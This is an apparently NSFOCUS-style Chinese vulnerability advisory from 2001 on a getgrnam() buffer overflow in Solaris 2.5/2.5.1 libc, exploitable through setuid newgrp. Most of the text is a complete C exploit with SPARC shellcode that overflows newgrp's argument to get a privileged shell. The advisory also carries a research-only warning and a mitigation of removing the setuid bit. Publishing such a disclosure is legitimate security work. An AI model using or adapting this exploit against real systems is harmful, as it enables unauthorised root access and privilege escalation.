Solaris libc getgrnam()缓冲区溢出漏洞
发布日期:2001-01-06
更新日期:2001-01-06
受影响系统:
Sun Solaris 2.5
Sun Solaris 2.5.1
描述:
Solaris 2.5/2.5.1的getgrnam() libc函数包含一个缓冲区溢出漏洞。
如果某个setuid/setgid程序使用了有问题的库函数,攻击者就可能利用此漏洞
执行任意代码或提升自己的权限。
目前知道至少newgrp是有问题的。
<*来源:Pablo Sor (
psor@afip.gov.ar) *>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
#include <stdio.h>
#include <sys/types.h>
/*
getgrnam() function overflow.
works against Solaris 2.5.1 (SPARC)
default offset should work.
Pablo Sor, Buenos Aires, Argentina.
psor@afip.gov.ar
*/
u_char shell[] =
"\x82\x10\x20\xca\xa6\x1c\xc0\x13\x90\x0c\xc0\x13\x92\x0c\xc0\x13"
"\xa6\x04\xe0\x01\x91\xd4\xff\xff\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e"
"\x2f\x0b\xdc\xda\x90\x0b\x80\x0e\x92\x03\xa0\x08\x94\x1a\x80\x0a"
"\x9c\x03\xa0\x10\xec\x3b\xbf\xf0\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc"
"\x82\x10\x20\x3b\x91\xd4\xff\xff";
u_long get_sp(void)
{
__asm__("mov %sp,%i0 \n");
}
void main()
{
long *p;
long addr;
char buf[8300];
int i;
addr = get_sp()-8096;
printf("Jumping to address %p\n",addr);
p = (long *) buf;
for (i=0;i<2050;++i) *(p++) = 0xa61cc013;
for (i=0;i<strlen(shell);++i) buf[104+i] = shell[i];
p = (long *) &buf[8160];
for (i=0;i<30;++i) *(p++) = addr;
buf[8280]=0;
execl("/usr/bin/newgrp","newgrp",buf,(char *)0);
}
建议:
临时解决方法:
NSFOCUS建议您暂时去掉newgrp以及其他使用getgrnam()函数的程序的setuid属性
厂商补丁:
暂无
浏览次数:3975
严重程度:0(网友投票)